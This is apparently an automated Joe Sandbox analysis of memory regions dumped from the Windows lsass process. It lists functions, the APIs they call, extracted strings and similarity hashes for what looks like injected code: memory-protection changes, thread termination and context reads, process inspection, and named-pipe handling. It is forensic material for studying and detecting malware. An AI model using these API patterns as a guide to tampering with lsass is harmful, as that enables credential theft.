Source File: 0000001F.00000002.3107960596.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: a80658ec44f4b8303e4c6cbc6e08df687ba0206d03e3ba62d1abb9220ce3f758
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: B6415E73214B84C6F760CF21E48879E77A5F388B98F45822ADB8907B59DF39C599CB40

Function 00000202C0AED068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00000202C0AEC7DE,?,?,?,?,?,?,?,?,00000202C0AECF9D,?,?,00000001), ref: 00000202C0AED087
FlsSetValue.KERNEL32(?,?,?,00000202C0AEC7DE,?,?,?,?,?,?,?,?,00000202C0AECF9D,?,?,00000001), ref: 00000202C0AED0A6
FlsSetValue.KERNEL32(?,?,?,00000202C0AEC7DE,?,?,?,?,?,?,?,?,00000202C0AECF9D,?,?,00000001), ref: 00000202C0AED0CE
FlsSetValue.KERNEL32(?,?,?,00000202C0AEC7DE,?,?,?,?,?,?,?,?,00000202C0AECF9D,?,?,00000001), ref: 00000202C0AED0DF
FlsSetValue.KERNEL32(?,?,?,00000202C0AEC7DE,?,?,?,?,?,?,?,?,00000202C0AECF9D,?,?,00000001), ref: 00000202C0AED0F0

Strings

Y%, xrefs: 00000202C0AED0A6
1%, xrefs: 00000202C0AED0CE

Memory Dump Source

Source File: 0000001F.00000002.3107960596.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: 363b9827668d8b761d31e44ad5a3e4dbf29d2bfe1cda884ffc1cc8260375dec9
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: D111AB607043C4C6FE68973555DD37D6141AB447F4F1A4727EAFA077DBDE28C86A8600

Function 00000202C0AE7510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000202C0AE7538
__scrt_acquire_startup_lock.LIBCMT ref: 00000202C0AE758A
_RTC_Initialize.LIBCMT ref: 00000202C0AE75B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000202C0AE75DE
__scrt_release_startup_lock.LIBCMT ref: 00000202C0AE7609

Memory Dump Source

Source File: 0000001F.00000002.3107960596.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 14979f1a24b322753f854ca5a4dead1d4ee237c3b69154d6c2c35d4c8e247c5d
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: CE81F4617007C1C6FB54AB65A8CD39D2390BB85B84F174427EBE9477A7EB38CA6D8700

Function 00000202C0AE9DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 00000202C0AE9E49
GetLastError.KERNEL32 ref: 00000202C0AE9E57
LoadLibraryExW.KERNEL32 ref: 00000202C0AE9E81
FreeLibrary.KERNEL32 ref: 00000202C0AE9EC7
GetProcAddress.KERNEL32 ref: 00000202C0AE9ED3

Strings

api-ms-, xrefs: 00000202C0AE9E69

Memory Dump Source

Source File: 0000001F.00000002.3107960596.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: 93692ba9be4b391852265e8ab40df330be3080cd4f0ad2a801a0759650363b03
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: A731A722212B80D1FE15DB42A48C75D2294B748BA0F5B49279FBE07792DF39C5AD8304

Function 00000202C0AF3DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00000202C0AF3DE5
GetLastError.KERNEL32 ref: 00000202C0AF3DF1
CloseHandle.KERNEL32 ref: 00000202C0AF3E09
CreateFileW.KERNEL32 ref: 00000202C0AF3E34
WriteConsoleW.KERNEL32 ref: 00000202C0AF3E53

Strings

CONOUT$, xrefs: 00000202C0AF3E15

Memory Dump Source

Source File: 0000001F.00000002.3107960596.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: b26ab6e85d4882431b05eb7ffbdc71b03f0f6e90507cbc4b46897213533c190b
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: 91116D22314B40C6F7508B52E89C71D77A4F788FE8F154227EA5E877A6CF39C8188744

Function 00000202C0AE3790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000202C0AE379E
GetCurrentProcess.KERNEL32 ref: 00000202C0AE37CC
VirtualProtectEx.KERNEL32 ref: 00000202C0AE37EE
GetCurrentProcess.KERNEL32 ref: 00000202C0AE3809
VirtualProtectEx.KERNEL32 ref: 00000202C0AE382A

Strings

wr, xrefs: 00000202C0AE37FF

Memory Dump Source

Source File: 0000001F.00000002.3107960596.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: bcb637cd16c44afa16a89db43d108bf5c410f3b34640b7b1e1fa2b494dd30d53
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: E1115726304B81C2FB149B21E48C26D72B4FB88B85F06412BDF99037AAEF3EC509C704

Function 00000202C0AE5B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000202C0AE5B6B
GetThreadContext.KERNEL32 ref: 00000202C0AE5CD5

Part of subcall function 00000202C0AE5960: GetCurrentThreadId.KERNEL32 ref: 00000202C0AE5964

Memory Dump Source

Source File: 0000001F.00000002.3107960596.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction ID: dbc3b65819fd6533e59164d32a3bb8f97f2c88b353aa9b524f2c9543e34d3ae7
Opcode Fuzzy Hash: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction Fuzzy Hash: 30D18776205B88C6EA70DB1AE49835E77A0F388B88F110517EADE47BA6DF3CC555CB40

Function 00000202C0AE2F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000202C0AE2F27
HeapAlloc.KERNEL32 ref: 00000202C0AE2F3A
StrCmpNIW.SHLWAPI ref: 00000202C0AE2FAF
GetProcessHeap.KERNEL32 ref: 00000202C0AE3015
HeapFree.KERNEL32 ref: 00000202C0AE3023

Strings

dialer, xrefs: 00000202C0AE2FA8

Memory Dump Source

Source File: 0000001F.00000002.3107960596.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: 539d7fa312dabe0a02a4a36991552fccd56336bf33b53f387f86ad28829e058b
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: 18319D22701B91C2FA14CF16A98C72DA7A0FB44B84F0A41279F9847B67EF35C4B98740

Function 00000202C0AECFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00000202C0AECFAF
FlsSetValue.KERNEL32(?,?,?,00000202C0AED6B5,?,?,?,?,00000202C0AED778), ref: 00000202C0AECFE5
FlsSetValue.KERNEL32(?,?,?,00000202C0AED6B5,?,?,?,?,00000202C0AED778), ref: 00000202C0AED012
FlsSetValue.KERNEL32(?,?,?,00000202C0AED6B5,?,?,?,?,00000202C0AED778), ref: 00000202C0AED023
FlsSetValue.KERNEL32(?,?,?,00000202C0AED6B5,?,?,?,?,00000202C0AED778), ref: 00000202C0AED034
SetLastError.KERNEL32 ref: 00000202C0AED04F

Memory Dump Source

Source File: 0000001F.00000002.3107960596.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: c83c6b407707b4dbc6b3b7b82b2caed50328515e1eb0a43fe36386d7293909be
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: 0A1163203013C0C6FE68A73555DD72D6242AB987F4F164727EAB7477E7EE68C86A8700

Function 00000202C0AE199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00000202C0AE19C2
K32GetModuleFileNameExW.KERNEL32 ref: 00000202C0AE19E0
PathFindFileNameW.SHLWAPI ref: 00000202C0AE19EF
lstrlenW.KERNEL32 ref: 00000202C0AE19FB
StrCpyW.SHLWAPI ref: 00000202C0AE1A0E
CloseHandle.KERNEL32 ref: 00000202C0AE1A1C

Memory Dump Source

Source File: 0000001F.00000002.3107960596.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: c1f12f185a365d98643c548e91b1e72bf4effc7dbd05845da70183f29bcaf82d
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: DD010532301B80C2FA649B52A89C75963A9B788FC4F894137DF9A43766DE39C989C740

Function 00000202C0AE36C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000202C0AE36E4
GetCurrentProcess.KERNEL32 ref: 00000202C0AE36F2
VirtualProtectEx.KERNEL32 ref: 00000202C0AE3714
GetCurrentProcess.KERNEL32 ref: 00000202C0AE3732
VirtualProtectEx.KERNEL32 ref: 00000202C0AE3753
TerminateThread.KERNEL32 ref: 00000202C0AE3762

Memory Dump Source

Source File: 0000001F.00000002.3107960596.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: 164501a6415bffd66fe917e88f769ddc3ad1f1b40aa64bea97b79c9247d2f77e
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: B5012DB6611B40C2FB249B21E88C71E73A4BB45B86F154527CF9907766EF3EC55C8704

Function 00000202C0AE8FE8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000202C0AE9013
_IsNonwritableInCurrentImage.LIBCMT ref: 00000202C0AE90A8
RtlUnwindEx.NTDLL ref: 00000202C0AE90F7

Strings

csm, xrefs: 00000202C0AE908E
f, xrefs: 00000202C0AE9026

Memory Dump Source

Source File: 0000001F.00000002.3107960596.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction ID: 4b0a6f3e062a47a2f3e77ad4f28d0830188973ba44af3f5408a27d7634b4296d
Opcode Fuzzy Hash: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction Fuzzy Hash: 6751BF32201B81CAFB94CF15E88CB5D3795F344B88F528227DBA64774AEB35C859C708

Function 00000202C0AE3044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 00000202C0AE3066
StrCpyW.SHLWAPI ref: 00000202C0AE3076
StrCatW.SHLWAPI ref: 00000202C0AE3082
PathCombineW.SHLWAPI ref: 00000202C0AE3090

Strings

\\.\pipe\, xrefs: 00000202C0AE305C

Memory Dump Source

Source File: 0000001F.00000002.3107960596.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: 748eaec06fdd8304175141e91d7fcb10eea3299cf276c1654e8c92baf0a6311d
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: 6DF01C66718B84C2FA148B53B99C11D6665AB48FD0F0A9233EF5A4BB2ADF3DC45D8700

Function 00000202C0AEBC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00000202C0AEBCBD
GetProcAddress.KERNEL32 ref: 00000202C0AEBCD3
FreeLibrary.KERNEL32 ref: 00000202C0AEBCFA

Strings

mscoree.dll, xrefs: 00000202C0AEBCB4
CorExitProcess, xrefs: 00000202C0AEBCCC

Memory Dump Source

Source File: 0000001F.00000002.3107960596.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: b1dae043e590163143f4e82ec39ab210fa29368e4bf0a17308b2a9fdf74dbffb
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: 65F06262211B45C1FB108B24E8CC35E6360EB88765F55021BCB6A452F6DF3DC55C8700

Function 00000202C0AE50D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000202C0AE5156

Memory Dump Source

Source File: 0000001F.00000002.3107960596.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction ID: cdd9b78ec5eaf04cb1b2f14923f4cedba8257b9bf05445ea44050982a578b50b
Opcode Fuzzy Hash: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction Fuzzy Hash: 6C02A432219B84C6EB60CB55F49875EB7A1F384794F110117EBDE87BAADB78C498CB00

Function 00000202C0AE5710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000202C0AE5726

Memory Dump Source

Source File: 0000001F.00000002.3107960596.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction ID: 76b413ec14e38a6ac9e88e25468b0616ac705ba1cdb0ca70ff7d6d8fad0dbab9
Opcode Fuzzy Hash: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction Fuzzy Hash: 6061B676619B80C6F660CB15F48871E77A0F388794F110517EBDE47BAADB78C968CB40

Function 00000202C0AF4104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000202C0AF412C
_set_statfp.LIBCMT ref: 00000202C0AF4147
_set_statfp.LIBCMT ref: 00000202C0AF4163
_set_statfp.LIBCMT ref: 00000202C0AF419F

Memory Dump Source

Source File: 0000001F.00000002.3107960596.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: aadaf6c08f9748136de9f6cbceaa287ca2a5a32013c1ebda6f4ef6558c209bf0
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: EE119E23A10B54A9F7641568E8DE36D11406B683F8F0A0727AB76076EB8B2AC8CD424C

Function 00000202C0AC3504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000202C0AC352C
_set_statfp.LIBCMT ref: 00000202C0AC3547
_set_statfp.LIBCMT ref: 00000202C0AC3563
_set_statfp.LIBCMT ref: 00000202C0AC359F

Memory Dump Source

Source File: 0000001F.00000002.3107721527.00000202C0AB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ab0000_lsass.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 2438009d4eccd0bfdc5c9a2303f4341fa76b055f83bc79e43529a95e1e4287f6
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 5B112533A5CF09C9FAA42128E4CE37D10D07B59370F4B863BAB76163E7CA6AC84C4201

Function 00000202C0ABF040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000202C0ABF124

Strings

Tuesday, xrefs: 00000202C0ABF0F4
or copy constructor iterator', xrefs: 00000202C0ABF25A, 00000202C0ABF275
Wednesday, xrefs: 00000202C0ABF1ED

Memory Dump Source

Source File: 0000001F.00000002.3107721527.00000202C0AB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ab0000_lsass.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: 26cf979074d90fcf05d85e544fcdcf7579b7cc95cef60043f929738aa5a5c4dc
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: F2610536600760C6FA69DB69E5CC76E6AA0F789780F5B8917CB0A177A7DB34C84DC300

Function 00000202C0AEAA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00000202C0AEAA68
_CallSETranslator.LIBVCRUNTIME ref: 00000202C0AEAAB7

Strings

MOC, xrefs: 00000202C0AEAA7C
RCC, xrefs: 00000202C0AEAA85

Memory Dump Source

Source File: 0000001F.00000002.3107960596.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 558256b13703980bb35bc78ab76fb44dce15fdc78b8fdb1fb2b32ce49efec02f
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 36614832600B84CAFB20DF65D48839D77A0F399B88F154217EF9917B9ADB78D5A9C700

Function 00000202C0AEAD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000202C0AEADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000202C0AEAE88

Strings

csm, xrefs: 00000202C0AEAEDA
csm, xrefs: 00000202C0AEADC2

Memory Dump Source

Source File: 0000001F.00000002.3107960596.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 97304d35c4b486749e002e92b9cf81982149fd581c5d11b448b14438c7f928ed
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 44514C721007C0CAFB648B2595CC35D77A0F766B95F1A4217DBE947B96CB38E4A9CB00

Function 00000202C0ABA178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000202C0ABA1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000202C0ABA288

Strings

csm, xrefs: 00000202C0ABA2DA
csm, xrefs: 00000202C0ABA1C2

Memory Dump Source

Source File: 0000001F.00000002.3107721527.00000202C0AB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ab0000_lsass.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 19c43cd71e60161d93812c77d0e4ac8737510cff6eeb5711627b4654a467fa8f
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 44516D36104780CAFB748B25959C39C7BA0F365B94F1A8217DB998BBD7CB39D499C700

Function 00000202C0AB8405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000202C0AB8413
_IsNonwritableInCurrentImage.LIBCMT ref: 00000202C0AB84A8

Strings

f, xrefs: 00000202C0AB8426
csm, xrefs: 00000202C0AB848E

Memory Dump Source

Source File: 0000001F.00000002.3107721527.00000202C0AB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ab0000_lsass.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 8446a618bbd1140fecb175adc7a255fff733e8375c6260d7fd1f59283cc66251
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 1151AB32601700CAFB29CF29E48CB5D3795F354B98F568227DB164378AEB35D889C704

Function 00000202C0AB83E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000202C0AB8413
_IsNonwritableInCurrentImage.LIBCMT ref: 00000202C0AB84A8

Strings

f, xrefs: 00000202C0AB8426
csm, xrefs: 00000202C0AB848E

Memory Dump Source

Source File: 0000001F.00000002.3107721527.00000202C0AB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ab0000_lsass.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 90803dd6b9b29f9c4154e969358d487dae67566bd5ce1f620f43925fcc542657
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 7F316A32201740D6FB299F29E88C75D7BA4F340B98F168117AF5A07786DB39C948C704

Function 00000202C0AF2058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00000202C0AF20D7
WriteFile.KERNEL32 ref: 00000202C0AF239F
WriteFile.KERNEL32 ref: 00000202C0AF23E5
GetLastError.KERNEL32 ref: 00000202C0AF249B

Memory Dump Source

Source File: 0000001F.00000002.3107960596.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

